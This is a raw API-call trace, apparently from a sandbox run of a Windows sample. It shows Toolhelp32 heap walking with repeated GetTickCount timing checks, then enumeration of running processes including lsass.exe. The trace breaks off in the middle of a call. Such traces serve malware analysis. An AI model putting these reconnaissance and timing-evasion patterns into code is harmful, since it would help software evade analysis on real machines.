0x9c8 [0112.150] FreeLibrary (hLibModule=0x757e0000) returned 1 [0112.150] GetProcAddress (hModule=0x75dc0000, lpProcName="CreateToolhelp32Snapshot") returned 0x75df735f [0112.150] GetProcAddress (hModule=0x75dc0000, lpProcName="CloseToolhelp32Snapshot") returned 0x0 [0112.150] GetProcAddress (hModule=0x75dc0000, lpProcName="Heap32First") returned 0x75e55763 [0112.151] GetProcAddress (hModule=0x75dc0000, lpProcName="Heap32Next") returned 0x75e5594e [0112.151] GetProcAddress (hModule=0x75dc0000, lpProcName="Heap32ListFirst") returned 0x75e55621 [0112.151] GetProcAddress (hModule=0x75dc0000, lpProcName="Heap32ListNext") returned 0x75e556cb [0112.151] GetProcAddress (hModule=0x75dc0000, lpProcName="Process32First") returned 0x75df8ae7 [0112.151] GetProcAddress (hModule=0x75dc0000, lpProcName="Process32Next") returned 0x75df88a4 [0112.151] GetProcAddress (hModule=0x75dc0000, lpProcName="Thread32First") returned 0x75e55b93 [0112.151] GetProcAddress (hModule=0x75dc0000, lpProcName="Thread32Next") returned 0x75e55c3f [0112.151] GetProcAddress (hModule=0x75dc0000, lpProcName="Module32First") returned 0x75e55cd9 [0112.151] GetProcAddress (hModule=0x75dc0000, lpProcName="Module32Next") returned 0x75e55dc2 [0112.151] CreateToolhelp32Snapshot (dwFlags=0xf, th32ProcessID=0x0) returned 0x188 [0112.156] GetTickCount () returned 0x22f68 [0112.156] Heap32ListFirst (hSnapshot=0x188, lphl=0x265e664) returned 1 [0112.156] GetCurrentThreadId () returned 0x9c8 [0112.156] Heap32First (lphe=0x265e250, th32ProcessID=0x65c, th32HeapID=0x810000) returned 1 [0112.160] GetCurrentThreadId () returned 0x9c8 [0112.160] Heap32Next (lphe=0x265e250) returned 1 [0112.163] GetTickCount () returned 0x22f78 [0112.163] GetCurrentThreadId () returned 0x9c8 [0112.163] Heap32Next (lphe=0x265e250) returned 1 [0112.167] GetTickCount () returned 0x22f78 [0112.167] GetCurrentThreadId () returned 0x9c8 [0112.167] Heap32Next (lphe=0x265e250) returned 1 [0112.171] GetTickCount () returned 0x22f78 [0112.171] GetCurrentThreadId () returned 0x9c8 [0112.171] Heap32Next (lphe=0x265e250) returned 1 [0112.175] GetTickCount () returned 0x22f88 [0112.175] GetCurrentThreadId () returned 0x9c8 [0112.175] Heap32Next (lphe=0x265e250) returned 1 [0112.179] GetTickCount () returned 0x22f88 [0112.179] GetCurrentThreadId () returned 0x9c8 [0112.179] Heap32Next (lphe=0x265e250) returned 1 [0112.182] GetTickCount () returned 0x22f88 [0112.182] GetCurrentThreadId () returned 0x9c8 [0112.182] Heap32Next (lphe=0x265e250) returned 1 [0112.186] GetTickCount () returned 0x22f88 [0112.186] GetCurrentThreadId () returned 0x9c8 [0112.186] Heap32Next (lphe=0x265e250) returned 1 [0112.190] GetTickCount () returned 0x22f97 [0112.190] GetCurrentThreadId () returned 0x9c8 [0112.190] Heap32Next (lphe=0x265e250) returned 1 [0112.193] GetTickCount () returned 0x22f97 [0112.193] GetCurrentThreadId () returned 0x9c8 [0112.193] Heap32Next (lphe=0x265e250) returned 1 [0112.197] GetTickCount () returned 0x22f97 [0112.197] GetCurrentThreadId () returned 0x9c8 [0112.197] Heap32Next (lphe=0x265e250) returned 1 [0112.200] GetTickCount () returned 0x22f97 [0112.200] GetCurrentThreadId () returned 0x9c8 [0112.200] Heap32Next (lphe=0x265e250) returned 1 [0112.203] GetTickCount () returned 0x22fa7 [0112.203] GetCurrentThreadId () returned 0x9c8 [0112.204] Heap32Next (lphe=0x265e250) returned 1 [0112.207] GetTickCount () returned 0x22fa7 [0112.207] GetCurrentThreadId () returned 0x9c8 [0112.207] Heap32Next (lphe=0x265e250) returned 1 [0112.210] GetTickCount () returned 0x22fa7 [0112.210] GetCurrentThreadId () returned 0x9c8 [0112.210] Heap32Next (lphe=0x265e250) returned 1 [0112.214] GetTickCount () returned 0x22fa7 [0112.214] GetCurrentThreadId () returned 0x9c8 [0112.214] Heap32Next (lphe=0x265e250) returned 1 [0112.217] GetTickCount () returned 0x22fa7 [0112.217] GetCurrentThreadId () returned 0x9c8 [0112.217] Heap32Next (lphe=0x265e250) returned 1 [0112.328] GetTickCount () returned 0x23014 [0112.328] GetCurrentThreadId () returned 0x9c8 [0112.328] Heap32Next (lphe=0x265e250) returned 1 [0112.332] GetTickCount () returned 0x23024 [0112.332] GetCurrentThreadId () returned 0x9c8 [0112.333] Heap32Next (lphe=0x265e250) returned 1 [0112.336] GetTickCount () returned 0x23024 [0112.336] GetCurrentThreadId () returned 0x9c8 [0112.337] Heap32Next (lphe=0x265e250) returned 1 [0112.341] GetTickCount () returned 0x23024 [0112.341] GetCurrentThreadId () returned 0x9c8 [0112.341] Heap32Next (lphe=0x265e250) returned 1 [0112.345] GetTickCount () returned 0x23033 [0112.345] GetCurrentThreadId () returned 0x9c8 [0112.345] Heap32Next (lphe=0x265e250) returned 1 [0112.349] GetTickCount () returned 0x23033 [0112.349] GetCurrentThreadId () returned 0x9c8 [0112.349] Heap32Next (lphe=0x265e250) returned 1 [0112.353] GetTickCount () returned 0x23033 [0112.353] GetCurrentThreadId () returned 0x9c8 [0112.353] Heap32Next (lphe=0x265e250) returned 1 [0112.358] GetTickCount () returned 0x23033 [0112.358] GetCurrentThreadId () returned 0x9c8 [0112.358] Heap32Next (lphe=0x265e250) returned 1 [0112.431] GetTickCount () returned 0x23081 [0112.431] GetCurrentThreadId () returned 0x9c8 [0112.431] Heap32Next (lphe=0x265e250) returned 1 [0112.435] GetTickCount () returned 0x23081 [0112.435] GetCurrentThreadId () returned 0x9c8 [0112.435] Heap32Next (lphe=0x265e250) returned 1 [0112.440] GetTickCount () returned 0x23091 [0112.440] GetCurrentThreadId () returned 0x9c8 [0112.440] Heap32Next (lphe=0x265e250) returned 1 [0112.444] GetTickCount () returned 0x23091 [0112.444] GetCurrentThreadId () returned 0x9c8 [0112.445] Heap32Next (lphe=0x265e250) returned 1 [0112.449] GetTickCount () returned 0x23091 [0112.449] GetCurrentThreadId () returned 0x9c8 [0112.449] Heap32Next (lphe=0x265e250) returned 1 [0112.453] GetTickCount () returned 0x230a0 [0112.453] GetCurrentThreadId () returned 0x9c8 [0112.453] Heap32Next (lphe=0x265e250) returned 1 [0112.457] GetTickCount () returned 0x230a0 [0112.457] GetCurrentThreadId () returned 0x9c8 [0112.457] Heap32Next (lphe=0x265e250) returned 1 [0112.462] GetTickCount () returned 0x230a0 [0112.462] GetCurrentThreadId () returned 0x9c8 [0112.462] Heap32Next (lphe=0x265e250) returned 1 [0112.466] GetTickCount () returned 0x230a0 [0112.466] GetCurrentThreadId () returned 0x9c8 [0112.466] Heap32Next (lphe=0x265e250) returned 1 [0112.526] GetTickCount () returned 0x230df [0112.526] GetCurrentThreadId () returned 0x9c8 [0112.526] Heap32Next (lphe=0x265e250) returned 1 [0112.531] GetTickCount () returned 0x230ee [0112.531] GetCurrentThreadId () returned 0x9c8 [0112.531] Heap32Next (lphe=0x265e250) returned 1 [0112.535] GetTickCount () returned 0x230ee [0112.535] GetCurrentThreadId () returned 0x9c8 [0112.535] Heap32Next (lphe=0x265e250) returned 1 [0112.539] GetTickCount () returned 0x230ee [0112.539] GetCurrentThreadId () returned 0x9c8 [0112.539] Heap32Next (lphe=0x265e250) returned 1 [0112.543] GetTickCount () returned 0x230ee [0112.543] GetCurrentThreadId () returned 0x9c8 [0112.543] Heap32Next (lphe=0x265e250) returned 1 [0112.548] GetTickCount () returned 0x230fe [0112.548] GetCurrentThreadId () returned 0x9c8 [0112.548] Heap32Next (lphe=0x265e250) returned 1 [0112.552] GetTickCount () returned 0x230fe [0112.552] GetCurrentThreadId () returned 0x9c8 [0112.552] Heap32Next (lphe=0x265e250) returned 1 [0112.556] GetTickCount () returned 0x230fe [0112.556] GetCurrentThreadId () returned 0x9c8 [0112.556] Heap32Next (lphe=0x265e250) returned 1 [0112.560] GetTickCount () returned 0x230fe [0112.560] GetCurrentThreadId () returned 0x9c8 [0112.560] Heap32Next (lphe=0x265e250) returned 1 [0112.631] GetTickCount () returned 0x2314c [0112.631] GetCurrentThreadId () returned 0x9c8 [0112.631] Heap32Next (lphe=0x265e250) returned 1 [0112.636] GetTickCount () returned 0x2314c [0112.636] GetCurrentThreadId () returned 0x9c8 [0112.636] Heap32Next (lphe=0x265e250) returned 1 [0112.640] GetTickCount () returned 0x2315c [0112.640] GetCurrentThreadId () returned 0x9c8 [0112.641] Heap32Next (lphe=0x265e250) returned 1 [0112.645] GetTickCount () returned 0x2315c [0112.645] GetCurrentThreadId () returned 0x9c8 [0112.645] Heap32Next (lphe=0x265e250) returned 1 [0112.650] GetTickCount () returned 0x2315c [0112.650] GetCurrentThreadId () returned 0x9c8 [0112.650] Heap32Next (lphe=0x265e250) returned 1 [0112.654] GetTickCount () returned 0x2315c [0112.654] GetCurrentThreadId () returned 0x9c8 [0112.654] Heap32Next (lphe=0x265e250) returned 1 [0112.659] GetTickCount () returned 0x2316b [0112.659] GetCurrentThreadId () returned 0x9c8 [0112.659] Heap32Next (lphe=0x265e250) returned 1 [0112.664] GetTickCount () returned 0x2316b [0112.664] GetCurrentThreadId () returned 0x9c8 [0112.664] Heap32Next (lphe=0x265e250) returned 1 [0112.668] GetTickCount () returned 0x2316b [0112.668] GetCurrentThreadId () returned 0x9c8 [0112.668] Heap32Next (lphe=0x265e250) returned 1 [0112.738] GetTickCount () returned 0x231b9 [0112.738] GetCurrentThreadId () returned 0x9c8 [0112.739] Heap32Next (lphe=0x265e250) returned 1 [0112.743] GetTickCount () returned 0x231b9 [0112.743] GetCurrentThreadId () returned 0x9c8 [0112.743] Heap32Next (lphe=0x265e250) returned 1 [0112.749] GetTickCount () returned 0x231b9 [0112.749] GetCurrentThreadId () returned 0x9c8 [0112.750] Heap32Next (lphe=0x265e250) returned 1 [0112.755] GetTickCount () returned 0x231c9 [0112.755] GetCurrentThreadId () returned 0x9c8 [0112.755] Heap32Next (lphe=0x265e250) returned 1 [0112.759] GetTickCount () returned 0x231c9 [0112.759] GetCurrentThreadId () returned 0x9c8 [0112.759] Heap32Next (lphe=0x265e250) returned 1 [0112.765] GetTickCount () returned 0x231d8 [0112.765] GetCurrentThreadId () returned 0x9c8 [0112.765] Heap32Next (lphe=0x265e250) returned 1 [0112.769] GetTickCount () returned 0x231d8 [0112.769] GetCurrentThreadId () returned 0x9c8 [0112.769] Heap32Next (lphe=0x265e250) returned 1 [0112.774] GetTickCount () returned 0x231d8 [0112.774] GetCurrentThreadId () returned 0x9c8 [0112.774] Heap32Next (lphe=0x265e250) returned 1 [0112.779] GetTickCount () returned 0x231d8 [0112.779] GetCurrentThreadId () returned 0x9c8 [0112.779] Heap32Next (lphe=0x265e250) returned 1 [0112.835] GetTickCount () returned 0x23217 [0112.835] GetCurrentThreadId () returned 0x9c8 [0112.835] Heap32Next (lphe=0x265e250) returned 1 [0112.840] GetTickCount () returned 0x23217 [0112.840] GetCurrentThreadId () returned 0x9c8 [0112.840] Heap32Next (lphe=0x265e250) returned 1 [0112.845] GetTickCount () returned 0x23226 [0112.845] GetCurrentThreadId () returned 0x9c8 [0112.845] Heap32Next (lphe=0x265e250) returned 1 [0112.850] GetTickCount () returned 0x23226 [0112.850] GetCurrentThreadId () returned 0x9c8 [0112.850] Heap32Next (lphe=0x265e250) returned 1 [0112.855] GetTickCount () returned 0x23226 [0112.855] GetCurrentThreadId () returned 0x9c8 [0112.855] Heap32Next (lphe=0x265e250) returned 1 [0112.860] GetTickCount () returned 0x23236 [0112.860] GetCurrentThreadId () returned 0x9c8 [0112.860] Heap32Next (lphe=0x265e250) returned 1 [0112.866] GetTickCount () returned 0x23236 [0112.866] GetCurrentThreadId () returned 0x9c8 [0112.866] Heap32Next (lphe=0x265e250) returned 1 [0112.871] GetTickCount () returned 0x23236 [0112.871] GetCurrentThreadId () returned 0x9c8 [0112.871] Heap32Next (lphe=0x265e250) returned 1 [0112.935] GetTickCount () returned 0x23274 [0112.935] GetCurrentThreadId () returned 0x9c8 [0112.935] Heap32Next (lphe=0x265e250) returned 1 [0112.940] GetTickCount () returned 0x23284 [0112.940] GetCurrentThreadId () returned 0x9c8 [0112.940] Heap32Next (lphe=0x265e250) returned 1 [0112.945] GetTickCount () returned 0x23284 [0112.945] GetCurrentThreadId () returned 0x9c8 [0112.945] Heap32Next (lphe=0x265e250) returned 1 [0112.950] GetTickCount () returned 0x23284 [0112.950] GetCurrentThreadId () returned 0x9c8 [0112.950] Heap32Next (lphe=0x265e250) returned 1 [0112.955] GetTickCount () returned 0x23294 [0112.955] GetCurrentThreadId () returned 0x9c8 [0112.955] Heap32Next (lphe=0x265e250) returned 1 [0112.959] GetTickCount () returned 0x23294 [0112.959] GetCurrentThreadId () returned 0x9c8 [0112.959] Heap32Next (lphe=0x265e250) returned 1 [0112.964] GetTickCount () returned 0x23294 [0112.964] GetCurrentThreadId () returned 0x9c8 [0112.964] Heap32Next (lphe=0x265e250) returned 1 [0112.976] GetTickCount () returned 0x232a3 [0112.976] GetCurrentThreadId () returned 0x9c8 [0112.976] Heap32Next (lphe=0x265e250) returned 1 [0112.981] GetTickCount () returned 0x232a3 [0112.981] GetCurrentThreadId () returned 0x9c8 [0112.981] Heap32Next (lphe=0x265e250) returned 1 [0112.986] GetTickCount () returned 0x232b3 [0112.986] GetCurrentThreadId () returned 0x9c8 [0112.986] Heap32Next (lphe=0x265e250) returned 1 [0112.990] GetTickCount () returned 0x232b3 [0112.990] GetCurrentThreadId () returned 0x9c8 [0112.991] Heap32Next (lphe=0x265e250) returned 1 [0112.995] GetTickCount () returned 0x232b3 [0112.995] Heap32ListNext (hSnapshot=0x188, lphl=0x265e664) returned 1 [0112.996] GetTickCount () returned 0x232b3 [0112.996] GetCurrentThreadId () returned 0x9c8 [0112.996] Heap32First (lphe=0x265e250, th32ProcessID=0x65c, th32HeapID=0xe0000) returned 1 [0113.001] GetCurrentThreadId () returned 0x9c8 [0113.001] Heap32Next (lphe=0x265e250) returned 1 [0113.006] GetTickCount () returned 0x232c2 [0113.006] GetCurrentThreadId () returned 0x9c8 [0113.006] Heap32Next (lphe=0x265e250) returned 1 [0113.010] GetTickCount () returned 0x232c2 [0113.010] GetCurrentThreadId () returned 0x9c8 [0113.010] Heap32Next (lphe=0x265e250) returned 1 [0113.080] GetTickCount () returned 0x23310 [0113.080] GetCurrentThreadId () returned 0x9c8 [0113.080] Heap32Next (lphe=0x265e250) returned 1 [0113.085] GetTickCount () returned 0x23310 [0113.085] GetCurrentThreadId () returned 0x9c8 [0113.085] Heap32Next (lphe=0x265e250) returned 1 [0113.090] GetTickCount () returned 0x23310 [0113.090] GetCurrentThreadId () returned 0x9c8 [0113.090] Heap32Next (lphe=0x265e250) returned 1 [0113.095] GetTickCount () returned 0x23320 [0113.095] GetCurrentThreadId () returned 0x9c8 [0113.095] Heap32Next (lphe=0x265e250) returned 1 [0113.100] GetTickCount () returned 0x23320 [0113.100] GetCurrentThreadId () returned 0x9c8 [0113.100] Heap32Next (lphe=0x265e250) returned 1 [0113.104] GetTickCount () returned 0x23320 [0113.104] GetCurrentThreadId () returned 0x9c8 [0113.105] Heap32Next (lphe=0x265e250) returned 1 [0113.110] GetTickCount () returned 0x23330 [0113.110] GetCurrentThreadId () returned 0x9c8 [0113.110] Heap32Next (lphe=0x265e250) returned 1 [0113.114] GetTickCount () returned 0x23330 [0113.114] GetCurrentThreadId () returned 0x9c8 [0113.115] Heap32Next (lphe=0x265e250) returned 1 [0113.119] GetTickCount () returned 0x23330 [0113.119] GetCurrentThreadId () returned 0x9c8 [0113.119] Heap32Next (lphe=0x265e250) returned 1 [0113.172] GetTickCount () returned 0x2336e [0113.172] Heap32ListNext (hSnapshot=0x188, lphl=0x265e664) returned 1 [0113.173] GetTickCount () returned 0x2336e [0113.173] GetTickCount () returned 0x2336e [0113.173] Process32First (in: hSnapshot=0x188, lppe=0x265e4fc | out: lppe=0x265e4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0113.173] GetCurrentThreadId () returned 0x9c8 [0113.173] Process32Next (in: hSnapshot=0x188, lppe=0x265e4fc | out: lppe=0x265e4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0113.174] GetTickCount () returned 0x2336e [0113.174] GetCurrentThreadId () returned 0x9c8 [0113.174] Process32Next (in: hSnapshot=0x188, lppe=0x265e4fc | out: lppe=0x265e4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0113.175] GetTickCount () returned 0x2336e [0113.175] GetCurrentThreadId () returned 0x9c8 [0113.175] Process32Next (in: hSnapshot=0x188, lppe=0x265e4fc | out: lppe=0x265e4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0113.176] GetTickCount () returned 0x2336e [0113.176] GetCurrentThreadId () returned 0x9c8 [0113.176] Process32Next (in: hSnapshot=0x188, lppe=0x265e4fc | out: lppe=0x265e4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0113.176] GetTickCount () returned 0x2336e [0113.176] GetCurrentThreadId () returned 0x9c8 [0113.176] Process32Next (in: hSnapshot=0x188, lppe=0x265e4fc | out: lppe=0x265e4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0113.177] GetTickCount () returned 0x2336e [0113.177] GetCurrentThreadId () returned 0x9c8 [0113.177] Process32Next (in: hSnapshot=0x188, lppe=0x265e4fc | out: lppe=0x265e4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0113.178] GetTickCount () returned 0x2336e [0113.178] GetCurrentThreadId () returned 0x9c8 [0113.178] Process32Next (in: hSnapshot=0x188, lppe=0x265e4fc | out: lppe=0x265e4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0113.179] GetTickCount () returned 0x2336e [0113.179] GetCurrentThreadId () returned 0x9c8 [0113.179] Process32Next (in: hSnapshot=0x188, lppe=0x265e4fc | out: lppe=0x265e4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0113.179] GetTickCount () returned 0x2336e [0113.179] GetCurrentThreadId () returned 0x9c8 [0113.179] Process32Next (in: hSnapshot=0x188, lppe=0x265e4fc | out: lppe=0x265e4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0113.180] GetTickCount () returned 0x2336e [0113.180] GetCurrentThreadId () returned 0x9c8 [0113.180] Process32Next (in: hSnapshot=0x188, lppe=0x265e4fc | out: lppe=0x265e4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0113.181] GetTickCount () returned 0x2336e [0113.181] GetCurrentThreadId () returned 0x9c8 [0113.181] Process32Next (in: hSnapshot=0x188, lppe=0x265e4fc | out: lppe=0x265e4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0113.182] GetTickCount () returned 0x2336e [0113.182] GetCurrentThreadId () returned 0x9c8 [0113.182] Process32Next (in: hSnapshot=0x188, lppe=0x265e4fc | out: lppe=0x265e4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0113.182] GetTickCount () returned 0x2336e [0113.182] GetCurrentThreadId () returned 0x9c8 [0113.182] Process32Next (in: hSnapshot=0x188, lppe=0x265e4fc | out: lppe=0x265e4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0113.183] GetTickCount () returned 0x2336e [0113.183] GetCurrentThreadId () returned 0x9c8 [0113.183] Process32Next (in: hSnapshot=0x188, lppe=0x265e4fc | out: lppe=0x265e4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0113.184] GetTickCount () returned 0x2336e [0113.184] GetCurrentThreadId () returned 0x9c8 [0113.184] Process32Next (in: hSnapshot=0x188, lppe=0x265e4fc | out: lppe=0x265e4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0113.185] GetTickCount () returned 0x2336e [0113.185] GetCurrentThreadId () returned 0x9c8 [0113.185] Process32Next (in: hSnapshot=0x188, lppe=0x265e4fc | out: lppe=0x265e4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0113.185] GetTickCount () returned 0x2336e [0113.185] GetCurrentThreadId () returned 0x9c8 [0113.186] Process32Next (in: hSnapshot=0x188, lppe=0x265e4fc | out: lppe=0x265e4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x160, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0113.186] GetTickCount () returned 0x2337e [0113.187] GetCurrentThreadId () returned 0x9c8 [0113.187] Process32Next (in: hSnapshot=0x188, lppe=0x265e4fc | out: lppe=0x265e4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0113.187] GetTickCount () returned 0x2337e [0113.187] GetCurrentThreadId () returned 0x9c8 [0113.187] Process32Next (in: hSnapshot=0x188, lppe=0x265e4fc | out: lppe=0x265e4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0113.188] GetTickCount () returned 0x2337e [0113.188] GetCurrentThreadId () returned 0x9c8 [0113.188] Process32Next (in: hSnapshot=0x188, lppe=0x265e4fc | out: lppe=0x265e4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0113.189] GetTickCount () returned 0x2337e [0113.189] GetCurrentThreadId () returned 0x9c8 [0113.189] Process32Next (in: hSnapshot=0x188, lppe=0x265e4fc | out: lppe=0x265e4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x318, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0113.190] GetTickCount () returned 0x2337e [0113.190] GetCurrentThreadId () returned 0x9c8 [0113.190] Process32Next (in: hSnapshot=0x188, lppe=0x265e4fc | out: lppe=0x265e4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x550, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0113.190] GetTickCount () returned 0x2337e [0113.190] GetCurrentThreadId () returned 0x9c8 [0113.190] Process32Next (in: hSnapshot=0x188, lppe=0x265e4fc | out: lppe=0x265e4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0113.191] GetTickCount () returned 0x2337e [0113.191] GetCurrentThreadId () returned 0x9c8 [0113.191] Process32Next (in: hSnapshot=0x188, lppe=0x265e4fc | out: lppe=0x265e4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0113.192] GetTickCount () returned 0x2337e [0113.192] GetCurrentThreadId () returned 0x9c8 [0113.192] Process32Next (in: hSnapshot=0x188, lppe=0x265e4fc | out: lppe=0x265e4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0113.193] GetTickCount () returned 0x2337e [0113.193] GetCurrentThreadId () returned 0x9c8 [0113.193] Process32Next (in: hSnapshot=0x188, lppe=0x265e4fc | out: lppe=0x265e4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0113.193] GetTickCount () returned 0x2337e [0113.193] GetCurrentThreadId () returned 0x9c8 [0113.193] Process32Next (in: hSnapshot=0x188, lppe=0x265e4fc | out: lppe=0x265e4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospectssayspotteryamplifier.exe")) returned 1 [0113.194] GetTickCount () returned 0x2337e [0113.194] GetCurrentThreadId () returned 0x9c8 [0113.194] Process32Next (in: hSnapshot=0x188, lppe=0x265e4fc | out: lppe=0x265e4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="combinations-bits-tape.exe")) returned 1 [0113.195] GetTickCount () returned 0x2337e [0113.195] GetCurrentThreadId () returned 0x9c8 [0113.195] Process32Next (in: hSnapshot=0x188, lppe=0x265e4fc | out: lppe=0x265e4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delicious_sale.exe")) returned 1 [0113.196] GetTickCount () returned 0x2337e [0113.196] GetCurrentThreadId () returned 0x9c8 [0113.196] Process32Next (in: hSnapshot=0x188, lppe=0x265e4fc | out: lppe=0x265e4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="friendly.exe")) returned 1 [0113.196] GetTickCount () returned 0x2337e [0113.196] GetCurrentThreadId () returned 0x9c8 [0113.196] Process32Next (in: hSnapshot=0x188, lppe=0x265e4fc | out: lppe=0x265e4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x638, 